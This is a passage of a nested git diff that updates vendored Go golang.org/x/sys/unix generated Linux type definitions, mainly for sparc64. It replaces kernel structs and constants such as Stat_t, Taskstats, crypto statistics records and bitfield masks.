-- TASKSTATS_TYPE_NULL = 0x6
-- TASKSTATS_CMD_ATTR_UNSPEC = 0x0
-- TASKSTATS_CMD_ATTR_PID = 0x1
-- TASKSTATS_CMD_ATTR_TGID = 0x2
-- TASKSTATS_CMD_ATTR_REGISTER_CPUMASK = 0x3
-- TASKSTATS_CMD_ATTR_DEREGISTER_CPUMASK = 0x4
-+ SizeofTpacketHdr = 0x20
- )
-
--type Genlmsghdr struct {
-- Cmd uint8
-- Version uint8
-- Reserved uint16
-+type RTCPLLInfo struct {
-+ Ctrl int32
-+ Value int32
-+ Max int32
-+ Min int32
-+ Posmult int32
-+ Negmult int32
-+ Clock int64
-+}
-+
-+type BlkpgPartition struct {
-+ Start int64
-+ Length int64
-+ Pno int32
-+ Devname [64]uint8
-+ Volname [64]uint8
-+ _ [4]byte
- }
-
- const (
-- CTRL_CMD_UNSPEC = 0x0
-- CTRL_CMD_NEWFAMILY = 0x1
-- CTRL_CMD_DELFAMILY = 0x2
-- CTRL_CMD_GETFAMILY = 0x3
-- CTRL_CMD_NEWOPS = 0x4
-- CTRL_CMD_DELOPS = 0x5
-- CTRL_CMD_GETOPS = 0x6
-- CTRL_CMD_NEWMCAST_GRP = 0x7
-- CTRL_CMD_DELMCAST_GRP = 0x8
-- CTRL_CMD_GETMCAST_GRP = 0x9
-- CTRL_ATTR_UNSPEC = 0x0
-- CTRL_ATTR_FAMILY_ID = 0x1
-- CTRL_ATTR_FAMILY_NAME = 0x2
-- CTRL_ATTR_VERSION = 0x3
-- CTRL_ATTR_HDRSIZE = 0x4
-- CTRL_ATTR_MAXATTR = 0x5
-- CTRL_ATTR_OPS = 0x6
-- CTRL_ATTR_MCAST_GROUPS = 0x7
-- CTRL_ATTR_OP_UNSPEC = 0x0
-- CTRL_ATTR_OP_ID = 0x1
-- CTRL_ATTR_OP_FLAGS = 0x2
-- CTRL_ATTR_MCAST_GRP_UNSPEC = 0x0
-- CTRL_ATTR_MCAST_GRP_NAME = 0x1
-- CTRL_ATTR_MCAST_GRP_ID = 0x2
-+ BLKPG = 0x1269
- )
-+
-+type XDPUmemReg struct {
-+ Addr uint64
-+ Len uint64
-+ Size uint32
-+ Headroom uint32
-+ Flags uint32
-+ _ [4]byte
-+}
-+
-+type CryptoUserAlg struct {
-+ Name [64]int8
-+ Driver_name [64]int8
-+ Module_name [64]int8
-+ Type uint32
-+ Mask uint32
-+ Refcnt uint32
-+ Flags uint32
-+}
-+
-+type CryptoStatAEAD struct {
-+ Type [64]int8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatAKCipher struct {
-+ Type [64]int8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Verify_cnt uint64
-+ Sign_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatCipher struct {
-+ Type [64]int8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatCompress struct {
-+ Type [64]int8
-+ Compress_cnt uint64
-+ Compress_tlen uint64
-+ Decompress_cnt uint64
-+ Decompress_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatHash struct {
-+ Type [64]int8
-+ Hash_cnt uint64
-+ Hash_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatKPP struct {
-+ Type [64]int8
-+ Setsecret_cnt uint64
-+ Generate_public_key_cnt uint64
-+ Compute_shared_secret_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatRNG struct {
-+ Type [64]int8
-+ Generate_cnt uint64
-+ Generate_tlen uint64
-+ Seed_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatLarval struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportLarval struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportHash struct {
-+ Type [64]int8
-+ Blocksize uint32
-+ Digestsize uint32
-+}
-+
-+type CryptoReportCipher struct {
-+ Type [64]int8
-+ Blocksize uint32
-+ Min_keysize uint32
-+ Max_keysize uint32
-+}
-+
-+type CryptoReportBlkCipher struct {
-+ Type [64]int8
-+ Geniv [64]int8
-+ Blocksize uint32
-+ Min_keysize uint32
-+ Max_keysize uint32
-+ Ivsize uint32
-+}
-+
-+type CryptoReportAEAD struct {
-+ Type [64]int8
-+ Geniv [64]int8
-+ Blocksize uint32
-+ Maxauthsize uint32
-+ Ivsize uint32
-+}
-+
-+type CryptoReportComp struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportRNG struct {
-+ Type [64]int8
-+ Seedsize uint32
-+}
-+
-+type CryptoReportAKCipher struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportKPP struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportAcomp struct {
-+ Type [64]int8
-+}
-+
-+type LoopInfo struct {
-+ Number int32
-+ Device uint16
-+ Inode uint64
-+ Rdevice uint16
-+ Offset int32
-+ Encrypt_type int32
-+ Encrypt_key_size int32
-+ Flags int32
-+ Name [64]int8
-+ Encrypt_key [32]uint8
-+ Init [2]uint64
-+ Reserved [4]int8
-+ _ [4]byte
-+}
-+
-+type TIPCSubscr struct {
-+ Seq TIPCServiceRange
-+ Timeout uint32
-+ Filter uint32
-+ Handle [8]int8
-+}
-+
-+type TIPCSIOCLNReq struct {
-+ Peer uint32
-+ Id uint32
-+ Linkname [68]int8
-+}
-+
-+type TIPCSIOCNodeIDReq struct {
-+ Peer uint32
-+ Id [16]int8
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_sparc64.go b/vendor/golang.org/x/sys/unix/ztypes_linux_sparc64.go
-index 22bdab96..33a73bf1 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_linux_sparc64.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_linux_sparc64.go
-@@ -1,23 +1,17 @@
-+// cgo -godefs -- -Wall -Werror -static -I/tmp/include linux/types.go | go run mkpost.go
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-+
- // +build sparc64,linux
--// Created by cgo -godefs - DO NOT EDIT
--// cgo -godefs types_linux.go | go run mkpost.go
-
- package unix
-
- const (
-- sizeofPtr = 0x8
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x8
-- sizeofLongLong = 0x8
-- PathMax = 0x1000
-+ SizeofPtr = 0x8
-+ SizeofLong = 0x8
- )
-
- type (
-- _C_short int16
-- _C_int int32
-- _C_long int64
-- _C_long_long int64
-+ _C_long int64
- )
-
- type Timespec struct {
-@@ -26,20 +20,18 @@ type Timespec struct {
- }
-
- type Timeval struct {
-- Sec int64
-- Usec int32
-- Pad_cgo_0 [4]byte
-+ Sec int64
-+ Usec int32
-+ _ [4]byte
- }
-
- type Timex struct {
- Modes uint32
-- Pad_cgo_0 [4]byte
- Offset int64
- Freq int64
- Maxerror int64
- Esterror int64
- Status int32
-- Pad_cgo_1 [4]byte
- Constant int64
- Precision int64
- Tolerance int64
-@@ -48,14 +40,13 @@ type Timex struct {
- Ppsfreq int64
- Jitter int64
- Shift int32
-- Pad_cgo_2 [4]byte
- Stabil int64
- Jitcnt int64
- Calcnt int64
- Errcnt int64
- Stbcnt int64
- Tai int32
-- Pad_cgo_3 [44]byte
-+ _ [44]byte
- }
-
- type Time_t int64
-@@ -91,149 +82,50 @@ type Rusage struct {
- Nivcsw int64
- }
-
--type Rlimit struct {
-- Cur uint64
-- Max uint64
--}
--
--type _Gid_t uint32
--
- type Stat_t struct {
-- Dev uint64
-- X__pad1 uint16
-- Pad_cgo_0 [6]byte
-- Ino uint64
-- Mode uint32
-- Nlink uint32
-- Uid uint32
-- Gid uint32
-- Rdev uint64
-- X__pad2 uint16
-- Pad_cgo_1 [6]byte
-- Size int64
-- Blksize int64
-- Blocks int64
-- Atim Timespec
-- Mtim Timespec
-- Ctim Timespec
-- X__glibc_reserved4 uint64
-- X__glibc_reserved5 uint64
--}
--
--type Statfs_t struct {
-- Type int64
-- Bsize int64
-- Blocks uint64
-- Bfree uint64
-- Bavail uint64
-- Files uint64
-- Ffree uint64
-- Fsid Fsid
-- Namelen int64
-- Frsize int64
-- Flags int64
-- Spare [4]int64
-+ Dev uint64
-+ _ uint16
-+ Ino uint64
-+ Mode uint32
-+ Nlink uint32
-+ Uid uint32
-+ Gid uint32
-+ Rdev uint64
-+ _ uint16
-+ Size int64
-+ Blksize int64
-+ Blocks int64
-+ Atim Timespec
-+ Mtim Timespec
-+ Ctim Timespec
-+ _ uint64
-+ _ uint64
- }
-
- type Dirent struct {
-- Ino uint64
-- Off int64
-- Reclen uint16
-- Type uint8
-- Name [256]int8
-- Pad_cgo_0 [5]byte
--}
--
--type Fsid struct {
-- X__val [2]int32
-+ Ino uint64
-+ Off int64
-+ Reclen uint16
-+ Type uint8
-+ Name [256]int8
-+ _ [5]byte
- }
-
- type Flock_t struct {
-- Type int16
-- Whence int16
-- Pad_cgo_0 [4]byte
-- Start int64
-- Len int64
-- Pid int32
-- X__glibc_reserved int16
-- Pad_cgo_1 [2]byte
-+ Type int16
-+ Whence int16
-+ Start int64
-+ Len int64
-+ Pid int32
-+ _ int16
-+ _ [2]byte
- }
-
- const (
-- FADV_NORMAL = 0x0
-- FADV_RANDOM = 0x1
-- FADV_SEQUENTIAL = 0x2
-- FADV_WILLNEED = 0x3
-- FADV_DONTNEED = 0x4
-- FADV_NOREUSE = 0x5
-+ FADV_DONTNEED = 0x4
-+ FADV_NOREUSE = 0x5
- )
-
--type RawSockaddrInet4 struct {
-- Family uint16
-- Port uint16
-- Addr [4]byte /* in_addr */
-- Zero [8]uint8
--}
--
--type RawSockaddrInet6 struct {
-- Family uint16
-- Port uint16
-- Flowinfo uint32
-- Addr [16]byte /* in6_addr */
-- Scope_id uint32
--}
--
--type RawSockaddrUnix struct {
-- Family uint16
-- Path [108]int8
--}
--
--type RawSockaddrLinklayer struct {
-- Family uint16
-- Protocol uint16
-- Ifindex int32
-- Hatype uint16
-- Pkttype uint8
-- Halen uint8
-- Addr [8]uint8
--}
--
--type RawSockaddrNetlink struct {
-- Family uint16
-- Pad uint16
-- Pid uint32
-- Groups uint32
--}
--
--type RawSockaddrHCI struct {
-- Family uint16
-- Dev uint16
-- Channel uint16
--}
--
--type RawSockaddrCAN struct {
-- Family uint16
-- Pad_cgo_0 [2]byte
-- Ifindex int32
-- Addr [8]byte
--}
--
--type RawSockaddrALG struct {
-- Family uint16
-- Type [14]uint8
-- Feat uint32
-- Mask uint32
-- Name [64]uint8
--}
--
--type RawSockaddrVM struct {
-- Family uint16
-- Reserved1 uint16
-- Port uint32
-- Cid uint32
-- Zero [4]uint8
--}
--
- type RawSockaddr struct {
- Family uint16
- Data [14]int8
-@@ -244,44 +136,20 @@ type RawSockaddrAny struct {
- Pad [96]int8
- }
-
--type _Socklen uint32
--
--type Linger struct {
-- Onoff int32
-- Linger int32
--}
--
- type Iovec struct {
- Base *byte
- Len uint64
- }
-
--type IPMreq struct {
-- Multiaddr [4]byte /* in_addr */
-- Interface [4]byte /* in_addr */
--}
--
--type IPMreqn struct {
-- Multiaddr [4]byte /* in_addr */
-- Address [4]byte /* in_addr */
-- Ifindex int32
--}
--
--type IPv6Mreq struct {
-- Multiaddr [16]byte /* in6_addr */
-- Interface uint32
--}
--
- type Msghdr struct {
- Name *byte
- Namelen uint32
-- Pad_cgo_0 [4]byte
- Iov *Iovec
- Iovlen uint64
- Control *byte
- Controllen uint64
- Flags int32
-- Pad_cgo_1 [4]byte
-+ _ [4]byte
- }
-
- type Cmsghdr struct {
-@@ -290,377 +158,441 @@ type Cmsghdr struct {
- Type int32
- }
-
--type Inet4Pktinfo struct {
-- Ifindex int32
-- Spec_dst [4]byte /* in_addr */
-- Addr [4]byte /* in_addr */
--}
--
--type Inet6Pktinfo struct {
-- Addr [16]byte /* in6_addr */
-- Ifindex uint32
--}
--
--type IPv6MTUInfo struct {
-- Addr RawSockaddrInet6
-- Mtu uint32
--}
--
--type ICMPv6Filter struct {
-- Data [8]uint32
--}
--
--type Ucred struct {
-- Pid int32
-- Uid uint32
-- Gid uint32
--}
--
--type TCPInfo struct {
-- State uint8
-- Ca_state uint8
-- Retransmits uint8
-- Probes uint8
-- Backoff uint8
-- Options uint8
-- Pad_cgo_0 [2]byte
-- Rto uint32
-- Ato uint32
-- Snd_mss uint32
-- Rcv_mss uint32
-- Unacked uint32
-- Sacked uint32
-- Lost uint32
-- Retrans uint32
-- Fackets uint32
-- Last_data_sent uint32
-- Last_ack_sent uint32
-- Last_data_recv uint32
-- Last_ack_recv uint32
-- Pmtu uint32
-- Rcv_ssthresh uint32
-- Rtt uint32
-- Rttvar uint32
-- Snd_ssthresh uint32
-- Snd_cwnd uint32
-- Advmss uint32
-- Reordering uint32
-- Rcv_rtt uint32
-- Rcv_space uint32
-- Total_retrans uint32
--}
--
- const (
-- SizeofSockaddrInet4 = 0x10
-- SizeofSockaddrInet6 = 0x1c
-- SizeofSockaddrAny = 0x70
-- SizeofSockaddrUnix = 0x6e
-- SizeofSockaddrLinklayer = 0x14
-- SizeofSockaddrNetlink = 0xc
-- SizeofSockaddrHCI = 0x6
-- SizeofSockaddrCAN = 0x10
-- SizeofSockaddrALG = 0x58
-- SizeofSockaddrVM = 0x10
-- SizeofLinger = 0x8
-- SizeofIPMreq = 0x8
-- SizeofIPMreqn = 0xc
-- SizeofIPv6Mreq = 0x14
-- SizeofMsghdr = 0x38
-- SizeofCmsghdr = 0x10
-- SizeofInet4Pktinfo = 0xc
-- SizeofInet6Pktinfo = 0x14
-- SizeofIPv6MTUInfo = 0x20
-- SizeofICMPv6Filter = 0x20
-- SizeofUcred = 0xc
-- SizeofTCPInfo = 0x68
-+ SizeofIovec = 0x10
-+ SizeofMsghdr = 0x38
-+ SizeofCmsghdr = 0x10
- )
-
- const (
-- IFA_UNSPEC = 0x0
-- IFA_ADDRESS = 0x1
-- IFA_LOCAL = 0x2
-- IFA_LABEL = 0x3
-- IFA_BROADCAST = 0x4
-- IFA_ANYCAST = 0x5
-- IFA_CACHEINFO = 0x6
-- IFA_MULTICAST = 0x7
-- IFLA_UNSPEC = 0x0
-- IFLA_ADDRESS = 0x1
-- IFLA_BROADCAST = 0x2
-- IFLA_IFNAME = 0x3
-- IFLA_MTU = 0x4
-- IFLA_LINK = 0x5
-- IFLA_QDISC = 0x6
-- IFLA_STATS = 0x7
-- IFLA_COST = 0x8
-- IFLA_PRIORITY = 0x9
-- IFLA_MASTER = 0xa
-- IFLA_WIRELESS = 0xb
-- IFLA_PROTINFO = 0xc
-- IFLA_TXQLEN = 0xd
-- IFLA_MAP = 0xe
-- IFLA_WEIGHT = 0xf
-- IFLA_OPERSTATE = 0x10
-- IFLA_LINKMODE = 0x11
-- IFLA_LINKINFO = 0x12
-- IFLA_NET_NS_PID = 0x13
-- IFLA_IFALIAS = 0x14
-- IFLA_MAX = 0x2a
-- RT_SCOPE_UNIVERSE = 0x0
-- RT_SCOPE_SITE = 0xc8
-- RT_SCOPE_LINK = 0xfd
-- RT_SCOPE_HOST = 0xfe
-- RT_SCOPE_NOWHERE = 0xff
-- RT_TABLE_UNSPEC = 0x0
-- RT_TABLE_COMPAT = 0xfc
-- RT_TABLE_DEFAULT = 0xfd
-- RT_TABLE_MAIN = 0xfe
-- RT_TABLE_LOCAL = 0xff
-- RT_TABLE_MAX = 0xffffffff
-- RTA_UNSPEC = 0x0
-- RTA_DST = 0x1
-- RTA_SRC = 0x2
-- RTA_IIF = 0x3
-- RTA_OIF = 0x4
-- RTA_GATEWAY = 0x5
-- RTA_PRIORITY = 0x6
-- RTA_PREFSRC = 0x7
-- RTA_METRICS = 0x8
-- RTA_MULTIPATH = 0x9
-- RTA_FLOW = 0xb
-- RTA_CACHEINFO = 0xc
-- RTA_TABLE = 0xf
-- RTN_UNSPEC = 0x0
-- RTN_UNICAST = 0x1
-- RTN_LOCAL = 0x2
-- RTN_BROADCAST = 0x3
-- RTN_ANYCAST = 0x4
-- RTN_MULTICAST = 0x5
-- RTN_BLACKHOLE = 0x6
-- RTN_UNREACHABLE = 0x7
-- RTN_PROHIBIT = 0x8
-- RTN_THROW = 0x9
-- RTN_NAT = 0xa
-- RTN_XRESOLVE = 0xb
-- RTNLGRP_NONE = 0x0
-- RTNLGRP_LINK = 0x1
-- RTNLGRP_NOTIFY = 0x2
-- RTNLGRP_NEIGH = 0x3
-- RTNLGRP_TC = 0x4
-- RTNLGRP_IPV4_IFADDR = 0x5
-- RTNLGRP_IPV4_MROUTE = 0x6
-- RTNLGRP_IPV4_ROUTE = 0x7
-- RTNLGRP_IPV4_RULE = 0x8
-- RTNLGRP_IPV6_IFADDR = 0x9
-- RTNLGRP_IPV6_MROUTE = 0xa
-- RTNLGRP_IPV6_ROUTE = 0xb
-- RTNLGRP_IPV6_IFINFO = 0xc
-- RTNLGRP_IPV6_PREFIX = 0x12
-- RTNLGRP_IPV6_RULE = 0x13
-- RTNLGRP_ND_USEROPT = 0x14
-- SizeofNlMsghdr = 0x10
-- SizeofNlMsgerr = 0x14
-- SizeofRtGenmsg = 0x1
-- SizeofNlAttr = 0x4
-- SizeofRtAttr = 0x4
-- SizeofIfInfomsg = 0x10
-- SizeofIfAddrmsg = 0x8
-- SizeofRtMsg = 0xc
-- SizeofRtNexthop = 0x8
-+ SizeofSockFprog = 0x10
- )
-
--type NlMsghdr struct {
-- Len uint32
-- Type uint16
-- Flags uint16
-- Seq uint32
-- Pid uint32
-+type PtraceRegs struct {
-+ Regs [16]uint64
-+ Tstate uint64
-+ Tpc uint64
-+ Tnpc uint64
-+ Y uint32
-+ Magic uint32
- }
-
--type NlMsgerr struct {
-- Error int32
-- Msg NlMsghdr
-+type FdSet struct {
-+ Bits [16]int64
- }
-
--type RtGenmsg struct {
-- Family uint8
-+type Sysinfo_t struct {
-+ Uptime int64
-+ Loads [3]uint64
-+ Totalram uint64
-+ Freeram uint64
-+ Sharedram uint64
-+ Bufferram uint64
-+ Totalswap uint64
-+ Freeswap uint64
-+ Procs uint16
-+ Pad uint16
-+ Totalhigh uint64
-+ Freehigh uint64
-+ Unit uint32
-+ _ [0]int8
-+ _ [4]byte
- }
-
--type NlAttr struct {
-- Len uint16
-- Type uint16
-+type Ustat_t struct {
-+ Tfree int32
-+ Tinode uint64
-+ Fname [6]int8
-+ Fpack [6]int8
-+ _ [4]byte
- }
-
--type RtAttr struct {
-- Len uint16
-- Type uint16
-+type EpollEvent struct {
-+ Events uint32
-+ _ int32
-+ Fd int32
-+ Pad int32
- }
-
--type IfInfomsg struct {
-- Family uint8
-- X__ifi_pad uint8
-- Type uint16
-- Index int32
-- Flags uint32
-- Change uint32
-+const (
-+ POLLRDHUP = 0x800
-+)
-+
-+type Sigset_t struct {
-+ Val [16]uint64
- }
-
--type IfAddrmsg struct {
-- Family uint8
-- Prefixlen uint8
-- Flags uint8
-- Scope uint8
-- Index uint32
-+const _C__NSIG = 0x41
-+
-+type Termios struct {
-+ Iflag uint32
-+ Oflag uint32
-+ Cflag uint32
-+ Lflag uint32
-+ Line uint8
-+ Cc [19]uint8
-+ Ispeed uint32
-+ Ospeed uint32
- }
-
--type RtMsg struct {
-- Family uint8
-- Dst_len uint8
-- Src_len uint8
-- Tos uint8
-- Table uint8
-- Protocol uint8
-- Scope uint8
-- Type uint8
-- Flags uint32
-+type Taskstats struct {
-+ Version uint16
-+ Ac_exitcode uint32
-+ Ac_flag uint8
-+ Ac_nice uint8
-+ Cpu_count uint64
-+ Cpu_delay_total uint64
-+ Blkio_count uint64
-+ Blkio_delay_total uint64
-+ Swapin_count uint64
-+ Swapin_delay_total uint64
-+ Cpu_run_real_total uint64
-+ Cpu_run_virtual_total uint64
-+ Ac_comm [32]int8
-+ Ac_sched uint8
-+ Ac_pad [3]uint8
-+ _ [4]byte
-+ Ac_uid uint32
-+ Ac_gid uint32
-+ Ac_pid uint32
-+ Ac_ppid uint32
-+ Ac_btime uint32
-+ Ac_etime uint64
-+ Ac_utime uint64
-+ Ac_stime uint64
-+ Ac_minflt uint64
-+ Ac_majflt uint64
-+ Coremem uint64
-+ Virtmem uint64
-+ Hiwater_rss uint64
-+ Hiwater_vm uint64
-+ Read_char uint64
-+ Write_char uint64
-+ Read_syscalls uint64
-+ Write_syscalls uint64
-+ Read_bytes uint64
-+ Write_bytes uint64
-+ Cancelled_write_bytes uint64
-+ Nvcsw uint64
-+ Nivcsw uint64
-+ Ac_utimescaled uint64
-+ Ac_stimescaled uint64
-+ Cpu_scaled_run_real_total uint64
-+ Freepages_count uint64
-+ Freepages_delay_total uint64
-+ Thrashing_count uint64
-+ Thrashing_delay_total uint64
-+ Ac_btime64 uint64
-+}
-+
-+type cpuMask uint64
-+
-+const (
-+ _NCPUBITS = 0x40
-+)
-+
-+const (
-+ CBitFieldMaskBit0 = 0x8000000000000000
-+ CBitFieldMaskBit1 = 0x4000000000000000
-+ CBitFieldMaskBit2 = 0x2000000000000000
-+ CBitFieldMaskBit3 = 0x1000000000000000
-+ CBitFieldMaskBit4 = 0x800000000000000
-+ CBitFieldMaskBit5 = 0x400000000000000
-+ CBitFieldMaskBit6 = 0x200000000000000
-+ CBitFieldMaskBit7 = 0x100000000000000
-+ CBitFieldMaskBit8 = 0x80000000000000
-+ CBitFieldMaskBit9 = 0x40000000000000
-+ CBitFieldMaskBit10 = 0x20000000000000
-+ CBitFieldMaskBit11 = 0x10000000000000
-+ CBitFieldMaskBit12 = 0x8000000000000
-+ CBitFieldMaskBit13 = 0x4000000000000
-+ CBitFieldMaskBit14 = 0x2000000000000
-+ CBitFieldMaskBit15 = 0x1000000000000
-+ CBitFieldMaskBit16 = 0x800000000000
-+ CBitFieldMaskBit17 = 0x400000000000
-+ CBitFieldMaskBit18 = 0x200000000000
-+ CBitFieldMaskBit19 = 0x100000000000
-+ CBitFieldMaskBit20 = 0x80000000000
-+ CBitFieldMaskBit21 = 0x40000000000
-+ CBitFieldMaskBit22 = 0x20000000000
-+ CBitFieldMaskBit23 = 0x10000000000
-+ CBitFieldMaskBit24 = 0x8000000000
-+ CBitFieldMaskBit25 = 0x4000000000
-+ CBitFieldMaskBit26 = 0x2000000000
-+ CBitFieldMaskBit27 = 0x1000000000
-+ CBitFieldMaskBit28 = 0x800000000
-+ CBitFieldMaskBit29 = 0x400000000
-+ CBitFieldMaskBit30 = 0x200000000
-+ CBitFieldMaskBit31 = 0x100000000
-+ CBitFieldMaskBit32 = 0x80000000
-+ CBitFieldMaskBit33 = 0x40000000
-+ CBitFieldMaskBit34 = 0x20000000
-+ CBitFieldMaskBit35 = 0x10000000
-+ CBitFieldMaskBit36 = 0x8000000
-+ CBitFieldMaskBit37 = 0x4000000
-+ CBitFieldMaskBit38 = 0x2000000
-+ CBitFieldMaskBit39 = 0x1000000
-+ CBitFieldMaskBit40 = 0x800000
-+ CBitFieldMaskBit41 = 0x400000
-+ CBitFieldMaskBit42 = 0x200000
-+ CBitFieldMaskBit43 = 0x100000
-+ CBitFieldMaskBit44 = 0x80000
-+ CBitFieldMaskBit45 = 0x40000
-+ CBitFieldMaskBit46 = 0x20000
-+ CBitFieldMaskBit47 = 0x10000
-+ CBitFieldMaskBit48 = 0x8000
-+ CBitFieldMaskBit49 = 0x4000
-+ CBitFieldMaskBit50 = 0x2000
-+ CBitFieldMaskBit51 = 0x1000
-+ CBitFieldMaskBit52 = 0x800
-+ CBitFieldMaskBit53 = 0x400
-+ CBitFieldMaskBit54 = 0x200
-+ CBitFieldMaskBit55 = 0x100
-+ CBitFieldMaskBit56 = 0x80
-+ CBitFieldMaskBit57 = 0x40
-+ CBitFieldMaskBit58 = 0x20
-+ CBitFieldMaskBit59 = 0x10
-+ CBitFieldMaskBit60 = 0x8
-+ CBitFieldMaskBit61 = 0x4
-+ CBitFieldMaskBit62 = 0x2
-+ CBitFieldMaskBit63 = 0x1
-+)
-+
-+type SockaddrStorage struct {
-+ Family uint16
-+ _ [118]int8
-+ _ uint64
-+}
-+
-+type HDGeometry struct {
-+ Heads uint8
-+ Sectors uint8
-+ Cylinders uint16
-+ Start uint64
-+}
-+
-+type Statfs_t struct {
-+ Type int64
-+ Bsize int64
-+ Blocks uint64
-+ Bfree uint64
-+ Bavail uint64
-+ Files uint64
-+ Ffree uint64
-+ Fsid Fsid
-+ Namelen int64
-+ Frsize int64
-+ Flags int64
-+ Spare [4]int64
- }
-
--type RtNexthop struct {
-- Len uint16
-- Flags uint8
-- Hops uint8
-- Ifindex int32
-+type TpacketHdr struct {
-+ Status uint64
-+ Len uint32
-+ Snaplen uint32
-+ Mac uint16
-+ Net uint16
-+ Sec uint32
-+ Usec uint32
-+ _ [4]byte
- }
-
- const (
-- SizeofSockFilter = 0x8
-- SizeofSockFprog = 0x10
-+ SizeofTpacketHdr = 0x20
- )
-
--type SockFilter struct {
-- Code uint16
-- Jt uint8
-- Jf uint8
-- K uint32
-+type RTCPLLInfo struct {
-+ Ctrl int32
-+ Value int32
-+ Max int32
-+ Min int32
-+ Posmult int32
-+ Negmult int32
-+ Clock int64
- }
-
--type SockFprog struct {
-- Len uint16
-- Pad_cgo_0 [6]byte
-- Filter *SockFilter
-+type BlkpgPartition struct {
-+ Start int64
-+ Length int64
-+ Pno int32
-+ Devname [64]uint8
-+ Volname [64]uint8
-+ _ [4]byte
- }
-
--type InotifyEvent struct {
-- Wd int32
-- Mask uint32
-- Cookie uint32
-- Len uint32
-+const (
-+ BLKPG = 0x20001269
-+)
-+
-+type XDPUmemReg struct {
-+ Addr uint64
-+ Len uint64
-+ Size uint32
-+ Headroom uint32
-+ Flags uint32
-+ _ [4]byte
- }
-
--const SizeofInotifyEvent = 0x10
-+type CryptoUserAlg struct {
-+ Name [64]int8
-+ Driver_name [64]int8
-+ Module_name [64]int8
-+ Type uint32
-+ Mask uint32
-+ Refcnt uint32
-+ Flags uint32
-+}
-
--type PtraceRegs struct {
-- Regs [16]uint64
-- Tstate uint64
-- Tpc uint64
-- Tnpc uint64
-- Y uint32
-- Magic uint32
-+type CryptoStatAEAD struct {
-+ Type [64]int8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Err_cnt uint64
- }
-
--type ptracePsw struct {
-+type CryptoStatAKCipher struct {
-+ Type [64]int8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Verify_cnt uint64
-+ Sign_cnt uint64
-+ Err_cnt uint64
- }
-
--type ptraceFpregs struct {
-+type CryptoStatCipher struct {
-+ Type [64]int8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Err_cnt uint64
- }
-
--type ptracePer struct {
-+type CryptoStatCompress struct {
-+ Type [64]int8
-+ Compress_cnt uint64
-+ Compress_tlen uint64
-+ Decompress_cnt uint64
-+ Decompress_tlen uint64
-+ Err_cnt uint64
- }
-
--type FdSet struct {
-- Bits [16]int64
-+type CryptoStatHash struct {
-+ Type [64]int8
-+ Hash_cnt uint64
-+ Hash_tlen uint64
-+ Err_cnt uint64
- }
-
--type Sysinfo_t struct {
-- Uptime int64
-- Loads [3]uint64
-- Totalram uint64
-- Freeram uint64
-- Sharedram uint64
-- Bufferram uint64
-- Totalswap uint64
-- Freeswap uint64
-- Procs uint16
-- Pad uint16
-- Pad_cgo_0 [4]byte
-- Totalhigh uint64
-- Freehigh uint64
-- Unit uint32
-- X_f [0]int8
-- Pad_cgo_1 [4]byte
-+type CryptoStatKPP struct {
-+ Type [64]int8
-+ Setsecret_cnt uint64
-+ Generate_public_key_cnt uint64
-+ Compute_shared_secret_cnt uint64
-+ Err_cnt uint64
- }
-
--type Utsname struct {
-- Sysname [65]int8
-- Nodename [65]int8
-- Release [65]int8
-- Version [65]int8
-- Machine [65]int8
-- Domainname [65]int8
-+type CryptoStatRNG struct {
-+ Type [64]int8
-+ Generate_cnt uint64
-+ Generate_tlen uint64
-+ Seed_cnt uint64
-+ Err_cnt uint64
- }
-
--type Ustat_t struct {
-- Tfree int32
-- Pad_cgo_0 [4]byte
-- Tinode uint64
-- Fname [6]int8
-- Fpack [6]int8
-- Pad_cgo_1 [4]byte
-+type CryptoStatLarval struct {
-+ Type [64]int8
- }
-
--type EpollEvent struct {
-- Events uint32
-- X_padFd int32
-- Fd int32
-- Pad int32
-+type CryptoReportLarval struct {
-+ Type [64]int8
- }
-
--const (
-- AT_FDCWD = -0x64
-- AT_REMOVEDIR = 0x200
-- AT_SYMLINK_FOLLOW = 0x400
-- AT_SYMLINK_NOFOLLOW = 0x100
--)
-+type CryptoReportHash struct {
-+ Type [64]int8
-+ Blocksize uint32
-+ Digestsize uint32
-+}
-
--type PollFd struct {
-- Fd int32
-- Events int16
-- Revents int16
-+type CryptoReportCipher struct {
-+ Type [64]int8
-+ Blocksize uint32
-+ Min_keysize uint32
-+ Max_keysize uint32
- }
-
--const (
-- POLLIN = 0x1
-- POLLPRI = 0x2
-- POLLOUT = 0x4
-- POLLRDHUP = 0x800
-- POLLERR = 0x8
-- POLLHUP = 0x10
-- POLLNVAL = 0x20
--)
-+type CryptoReportBlkCipher struct {
-+ Type [64]int8
-+ Geniv [64]int8
-+ Blocksize uint32
-+ Min_keysize uint32
-+ Max_keysize uint32
-+ Ivsize uint32
-+}
-
--type Sigset_t struct {
-- X__val [16]uint64
-+type CryptoReportAEAD struct {
-+ Type [64]int8
-+ Geniv [64]int8
